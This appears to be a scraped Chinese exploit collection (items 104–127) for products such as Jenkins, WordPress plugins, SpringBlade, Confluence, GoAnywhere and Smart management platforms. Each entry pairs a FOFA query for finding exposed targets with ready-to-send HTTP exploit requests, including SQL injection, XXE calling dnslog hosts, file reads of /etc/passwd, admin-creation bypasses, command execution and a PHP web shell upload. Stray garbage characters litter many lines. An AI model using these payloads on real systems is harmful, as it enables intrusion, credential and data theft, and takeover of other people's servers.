! k1 T. ^9 k) L$ A* SHost: 192.168.40.130:111
) [+ s: S' [$ U2 C5 FUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
  `8 n0 }( y/ C4 s7 H! |Connection: close
+ a# h7 J; S6 K6 @! zContent-Length: 204
Content-Type: application/x-www-form-urlencoded
5 b5 p+ }% F2 EAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

$ v! `) D, x1 n- P: W6 b
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
5 E+ f' b1 {/ h' U/ @% C5 ^# V6 Y
& a3 N4 Y7 M  [2 \7 a
, n4 v  ]7 i+ P2 N- ^9 ~( v104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
! C  l* M& [; |% Z. BPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
" c5 R8 x2 v+ H  ]! O0 f1 i& s/ NX-Requested-with: XMLHttpRequest
; y0 E' T4 M6 ~User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
5 J2 M# J4 ~* gReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
/ I8 ^0 O! y! G7 ]: c# u! u8 T2 w
{
/ h/ |& d. f3 m6 e"topicurl":"getSysStatusCfg",
"token":""
}

7 S/ e; ]* g/ f. l# X105. SpringBlade v3.2.0 export-user SQL 注入
& ?$ [* {% {5 ?! ~0 T# N/ yFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
4 E- f* `4 F* ^; WFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
# f# q: o; r8 d+ c; NHost: your-ip
! n% m/ {$ @, ]5 k+ v, ^: z) qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
* ?. J! a  P5 ?% B- ~' FAccept-Language: zh-CN,zh;q=0.9
* J0 q" L  F7 x  BConnection: close


7 o! [+ M! H4 S) C107. SpringBlade tenant/list SQL 注入
& ?& z( e! z9 x8 R& H/ Q1 ]FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
# P6 k4 {- I' Z0 w  ~- |8 g6 q: iConnection: close
. o- [- R( D; j4 I2 Z

1 T3 ?1 l/ X! _! @% W) |. I3 |7 c108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
' i* K! g+ |6 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
7 m- f# d. |3 A" P- dConnection: close
5 k* o2 K$ ]/ u! d6 q! n3 O

109. Jenkins CLI 任意文件读取
, C  C" L% y( F2 bCVE-2024-23897
9 \/ h4 t, v+ q6 y9 W# }/ qFOFA：header="X-Jenkins"
1 `" k; J& s' I8 JPOST /cli?remoting=false HTTP/1.1
# a7 X/ I- q" d& V5 {& {Host:
Content-type: application/octet-stream
) D  H# _' }; H2 R/ E* F& \/ E4 gSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
; A, x8 Q) X9 X' i( @Side: upload
- J6 K4 a* u  s: @( c, e4 l. n, iConnection: keep-alive
4 F" t: A* y3 ?! Q0 xContent-Length: 163
' J4 C3 {( n& q, m- M/ U
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

9 ?% h. h. F0 D
. _/ O8 a2 X# E2 m6 s4 ePOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
7 y' V) @6 m. X' K, V6 @) ndownload
/ Q, g- V, r) b9 m  q+ t2 bContent-Type: application/x-www-form-urlencoded
Content-Length: 0

$ y: F4 X2 L) [! j& _0 y' U
& S' f5 y( B$ S; J7 ^( |ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
$ Q& y# M8 q3 o) t% \java -jar jenkins-cli.jar help
: {) y) f5 [" f3 g6 i' I4 `, d/ R& P% P[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
  @* b9 P4 ?, O5 r9 F) C: Z5 z+ }

4 Z2 t8 N: D9 e. P110. Goanywhere MFT 未授权创建管理员
- U0 x4 e3 H$ |) Q  V0 _! q& ECVE-2024-0204
: E2 K. ^0 {. c7 s4 `1 @FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
7 t- z, h" h+ G  A7 OHost: 192.168.40.130:8000
8 S& ~# t$ _* G4 qUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
% Q3 W. u1 J2 }Connection: close
Accept: */*
2 {3 u4 U3 r1 L5 r7 HAccept-Language: en
5 b, I% g" c" u: k* vAccept-Encoding: gzip
2 v- |8 t" e' Z+ ^3 Y

! O& q- V$ s! `) G2 B111. WordPress Plugin HTML5 Video Player SQL注入
+ I( i( Z) C) r5 ?  oCVE-2024-1061
  b( a) O- i* O0 V2 z- T( |/ eFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
1 g, [) ~1 S6 |1 `User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
2 i; O6 e, B" ?: `- T3 Z  p8 iConnection: close
1 h! K4 p% f- @8 o- O6 s" [Accept: */*
Accept-Language: en
3 h0 X4 `* ?7 T* w9 wAccept-Encoding: gzip
+ j" q5 q# U* |

6 d/ u1 C& {" k  l7 i: T112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
8 j' N' n8 L5 b, U4 w- K# ~3 GHost: {{Hostname}}
Content-Type: application/json

/ F* r2 p& I4 K+ A: E" L  t{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
  m" ^* }2 |6 h, z: B$ C; GFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
/ u) `# W% h6 F  ]2 ^3 H. t6 p) E! `User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
; s4 X2 ]8 u9 g- `7 |9 z3 Q7 S3 P6 yAccept: */*
" x$ T7 d1 t9 `! i3 o' V9 b4 vAccept-Language: en
/ O$ }# f! J6 A& h; ZAccept-Encoding: gzip
+ n0 n( {3 l4 x9 x$ M' Y! \
/ S, E4 h$ V9 \+ E
% V1 N% q3 C* Y( b) Y9 y114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
- }8 e6 s/ W: l+ b0 O$ L" j  QAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
# [5 Z, y; S% V3 m( y! zGET / HTTP/1.1
+ u0 L' Q$ G! Q: SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
' S1 L6 ]3 |6 }$ `, b6 ]. X+ l

第二步替换nonce值，执行命令
+ l! [3 z  N; @/ TPOST /wp-json/bricks/v1/render_element HTTP/1.1
0 A0 v9 u. M+ Z& s  u. R! x; ^7 XHost: x.x.x.x
/ s0 V* J6 e2 GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
# e; T: ], P+ l; ]9 VContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
( }  W/ J' P& o7 {  h. o
& r* n9 ^* G) E0 n% C{
"postId": "1",
  "nonce": "第一步获得的值",
% N9 J; E' @- N4 ^& Q4 t  "element": {
; d: L/ [8 f4 E& p( m/ g    "name": "container",
: O0 Y2 i2 i5 m: W8 u    "settings": {
) ?1 G9 C: s+ m0 n$ r+ i      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
  S" M* P. ~5 A8 Y0 t5 Z8 d        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
4 Q, Y# Q6 e; a# ^4 w' \% k, c        "objectType": "post"
      }
2 @3 K; x; n+ C8 i# U4 i0 O. m. Z    }
  }
}
% @; d* g! {% D7 O) P* V! G3 @, `

116. wordpress js-support-ticket文件上传
9 h9 X2 q- |5 p. R. ^: R  l1 GFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
* p% b0 s% D# M' x" {5 h3 h  U5 qHost:
Content-Type: multipart/form-data; boundary=--------767099171
6 R7 z0 e& I9 A* Q$ P3 }) gUser-Agent: Mozilla/5.0

4 l# M/ S, Q  @6 A. R! \+ @$ i9 \----------767099171
: {) q! C5 I1 D9 I$ NContent-Disposition: form-data; name="action"
( T4 b0 X/ C7 S) p) D0 A% t6 dconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
3 `5 C4 e0 R  b: k, d; SContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
6 Z- C$ ?2 b) H7 c& ~) cContent-Type: image/png
----------767099171--
' ?2 @' [: x7 r, |. u2 ?# j
& N7 ~  n* ]3 t# x# J
117. WordPress LayerSlider插件SQL注入
$ U. O1 m/ b0 [; _& j$ o4 Bversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
5 {  m6 r$ B0 v, jGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
3 F1 D1 C( V7 o* T  _! [9 T0 G+ t8 Y, yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! V5 ~4 d& F3 h- ^& @+ eAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


1 `8 S" S& d  `: m/ m: E118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
# t% ?' Y2 H1 l7 f" sCVE-2024-0939
6 P2 p# x  V# s& ~6 u2 Z- E$ AFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
) E8 _; u6 c) U. W9 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
/ T, [9 w: E2 J! jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 p9 ?7 N2 F7 O, T5 NAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
6 e( P# ~' {  f9 T, dOrigin: https://192.168.40.130:8443
  e# T1 D3 M, X1 u; KReferer: https://192.168.40.130:8443/Tool/uploadfile.php
- o" J; ^( _( s8 D% CUpgrade-Insecure-Requests: 1
9 k! c/ \# Y* p! ^. }/ T* NSec-Fetch-Dest: document
7 P5 `' A. C% R1 j! v( NSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
1 p: T' Q! l- `5 X+ S: W" q1 ITe: trailers
+ N- n! J1 t, C4 {( ?; G& xConnection: close
# z( e- y' v. z! A
-----------------------------13979701222747646634037182887
  K7 t* A8 n! s; K; F8 J  X& Z7 uContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
; u. ^9 f$ V0 d. J) {/ \
/ N( e6 @, g! \$ D* J5 ?7 @<?php
system($_POST["passwd"]);
?>
& q! X* n2 E+ V& z) `- p" i( Q0 H! `-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
; _+ n) [* A" t5 o
" R0 P- w- ?' f4 }& O/home/src.php
4 H# O1 c, q) k-----------------------------13979701222747646634037182887--


: p$ g& A- o+ w3 K# K9 `% f! S- h, c访问/home/src.php
  ?+ n& `- G* _- M3 P( Z
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
* D9 c! n5 ^+ p% L4 I. ?FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
, N  w( G0 z1 n2 U1 zPOST /sysmanage/sysmanageajax.php HTTP/1.11
- T9 W( _5 v( \5 QHost: x.x.x.x
+ }3 p' K; Y  f+ U( ^Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
1 Z+ n) ?, x6 BAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
6 c4 {7 A5 C& W0 v1 [+ v7 XSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
/ m5 i& a6 n) d& GX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
8 t2 k, P& @, J! R: h" iX-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
, ?4 A( k) n# T9 U) _  m4 eCVE-2024-1253
/ D2 B8 W* b3 v, s. M" A. p1 OFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
; C! h  a1 i) A) k' e1 ~. mHost: ip:port
4 S' T( V5 U5 h  _4 G: ?7 LCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
" H, w  j" ?* L4 K" o/ TUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
/ K% ~: b# |' k; i3 W# DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" ]  ], e! s" P" s* }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
4 u. p& s# R1 h9 i' b# P7 u6 gOrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
7 [0 B& W2 y# |) CSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
5 R) |) a/ ^3 J8 i# F. z& e5 R2 zSec-Fetch-User: ?1
Te: trailers
6 X2 P$ m+ q; dConnection: close
: `2 u; D  p( H$ A, s( Y  L) P3 F
3 d7 }7 u" ~, C4 z4 N-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
, T- V  u( d5 u8 y+ dContent-Type: application/octet-stream

<?php phpinfo()?>
) w+ u! W0 t+ B5 a5 H-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
, L/ [3 k7 P- j- i
1
) y, X" k* q9 N0 {0 R; s" M-----------------------------42328904123665875270630079328
1 @% M) s# m9 s  D' {1 f' iContent-Disposition: form-data; name="1_ck"
/ h* m) q3 _8 g# d3 o
: r1 e( X" ?6 d5 c& K1_radhttp
; \* @3 e  I( m# @3 K-----------------------------42328904123665875270630079328
5 n% v% a, I3 z' q# [: d3 fContent-Disposition: form-data; name="mode"
, Y( ~* W) b) }# \* q$ d
' U9 e5 @# F( o' Q, }% Limport
-----------------------------42328904123665875270630079328


文件路径/upload/2.php

. E% K) L. Z4 O& j* W4 v121. 北京百绰智能S42管理平台userattestation.php任意文件上传
3 T8 p6 z5 q& K" BCVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
/ Q5 |# a; ]* kHost: 192.168.40.130:8443
- S% O. m2 j( `# k$ r0 }Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
& @! E: m/ e: _4 j9 OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ x# d$ O7 L& aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
0 Q# z: E7 R- U, wContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
, A7 ~* M& [# S9 @* H7 |8 G0 W( z/ [Content-Length: 592
Origin: https://192.168.40.130:8443
. l2 M8 g* q' z7 ^$ p2 @  [5 _  AUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
+ U4 u/ Q" g: g: ~Sec-Fetch-Site: same-origin
& P8 e& [8 P3 }" RSec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
/ M! D3 F: z9 e7 u+ [4 q4 eContent-Disposition: form-data; name="web_img"; filename="1.php"
+ S# |4 d2 ?% W  TContent-Type: application/octet-stream
; |1 I6 L) O9 O" ^) n
" k' Q; i' g  [" ]% n<?php phpinfo();?>
- |6 ~. [! S+ n3 R7 g-----------------------------42328904123665875270630079328
, Y3 r! P9 `+ Z. h( mContent-Disposition: form-data; name="id_type"

2 e- J) Z4 e! {1
. m6 e* r# I. i( j" w. m- ~" P% N-----------------------------42328904123665875270630079328
' R, t! p. g$ N) b( ]3 X% pContent-Disposition: form-data; name="1_ck"

1 L4 J/ f! m- v. T  {& i- y1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
& P- x' _3 V5 t3 v8 f9 a
+ ^8 J( m7 h4 p4 K" sset
2 L" E" G3 z* t: Z: R-----------------------------42328904123665875270630079328
( H: X5 \0 i8 K* K9 W5 m

boot/web/upload/weblogo/1.php
  d' u( L, N1 a; |. u  ^$ Z
122. 北京百绰智能s200管理平台/importexport.php sql注入
" ?3 S' ~) V* T8 TCVE-2024-27718FOFA：title="Smart管理平台"
& J) l  ]. S: O其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
- x0 i  x) {+ \1 AGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 y7 }3 v# i% z, K. A8 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 E* r5 y0 k1 `# @. l7 QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 P0 r. |: M1 r. H3 ]Accept-Encoding: gzip, deflate, br
2 }& x# O+ B. y" F% J& iUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
5 k! s) [- P# A3 b' b8 V' l2 eSec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
, D( l0 L8 ^: UConnection: close

+ E0 d1 w2 b( [! A
* k) C$ C" g# u% y9 q, e$ B123. Atlassian Confluence 模板注入代码执行
( S( p( M, v8 P# }* z+ l0 nFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
% k% c2 l0 s8 A. I2 P$ [& RPOST /template/aui/text-inline.vm HTTP/1.1
6 x: y/ U, I  m4 e! z( sHost: localhost:8090
! L* J- }' r4 nAccept-Encoding: gzip, deflate, br
1 Q" R( B7 Z( _/ V8 BAccept: */*
: R; _4 o& z" [: h6 Q2 {Accept-Language: en-US;q=0.9,en;q=0.8
, r: ]2 H" M. n- Y6 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
9 o  c7 Y2 a6 \( X3 V+ @Connection: close
Content-Type: application/x-www-form-urlencoded
2 k/ f$ @/ d: b! a7 G
0 I! z4 P# a# |: m% x$ R! dlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
5 }3 v# \& y$ V- W) C! y
/ n: D  C2 Z1 s) p0 N$ G
, R& C) Q( `* O/ a% H- |( V124. 湖南建研工程质量检测系统任意文件上传
( {+ I$ N. G, E0 A! g, eFOFA：body="/Content/Theme/Standard/webSite/login.css"
4 g0 s/ Z! M" T" f$ p6 ]# ZPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
3 f2 k$ n( I1 Q" A3 d- jUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
3 m) J" A7 {( v( `4 j( O7 R" MContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
. E! r2 w" A0 G' K5 ]8 m
2 }; I' H7 a2 a8 M* E* e* b  qfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

' ~8 _( [) `1 u4 I5 G( u0 ~5 Y
! P0 |; z" j% Khttp://192.168.40.130:8282/Scripts/abcgcg.aspx
% ^) ]. x* Z7 Q$ ?! b
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
( ~7 \9 O6 C( J  ]7 oFOFA：icon_hash="-82958153"
& l% B# G+ {( o- g+ W' \https://github.com/watchtowrlabs ... bypass-add-user-poc

3 d1 }; d: C$ J' s7 ^$ P: v8 u
- D% X" `- R) O- e- p使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

3 |2 ^! J. U2 ?+ X  z
3 _5 u+ h3 @1 ^- Z1 x创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
, B, l* H: O+ Z9 P( F9 uFOFA：title=="ComfyUI"
3 s' I$ f3 n! p0 b2 rGET /static/../../../../../etc/passwd HTTP/1.1
! Q6 g; ]2 n7 w) t6 ^Host: x.x.x.x
/ H. V' U) Z8 b* T. F4 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
+ t* r) ?$ D# _8 v2 TConnection: close
( E" s' V3 I: I5 k. V, R% DAccept: */*
Accept-Language: en
Accept-Encoding: gzip
2 v$ O) f0 g4 W5 e& X
9 L' b/ F, T8 X- C3 A1 t
+ r' r& y# [) G" M/ m127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
# F4 I( f+ q, v$ z' bPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
$ ], Y* e' o; b5 K* f) CHost: 192.168.40.130:8888
0 f% g( R- K+ H6 J% zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
) a0 Y3 s5 `5 A9 b5 q7 b( e" `3 UContent-Length: 415
8 |6 V/ }* Q6 k$ _4 F+ FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 h' R! V, b: W" m7 o% qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; u! \& U) a) g% v, yConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
1 C$ d3 J8 J* `. X1 o
------WebKitFormBoundaryJGgV5l5ta05yAIe0
+ R/ Q1 G9 o$ s0 g; QContent-Disposition: form-data;name="SystemName"

/ l( w' L! @! d2 Y1 W$ T6 R" zBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

! f8 x! R) I9 m1 h' U& i<?xml version="1.0" encoding="UTF-8"?>
* J2 O! c4 E9 z: x& Q% k5 {<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
+ @% D0 y6 C; R& w]
# R! a8 n* Y1 y; {>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
" O; e% n2 s7 l2 q% ^* x! f

+ l7 l; A/ y, H# J2 x( y
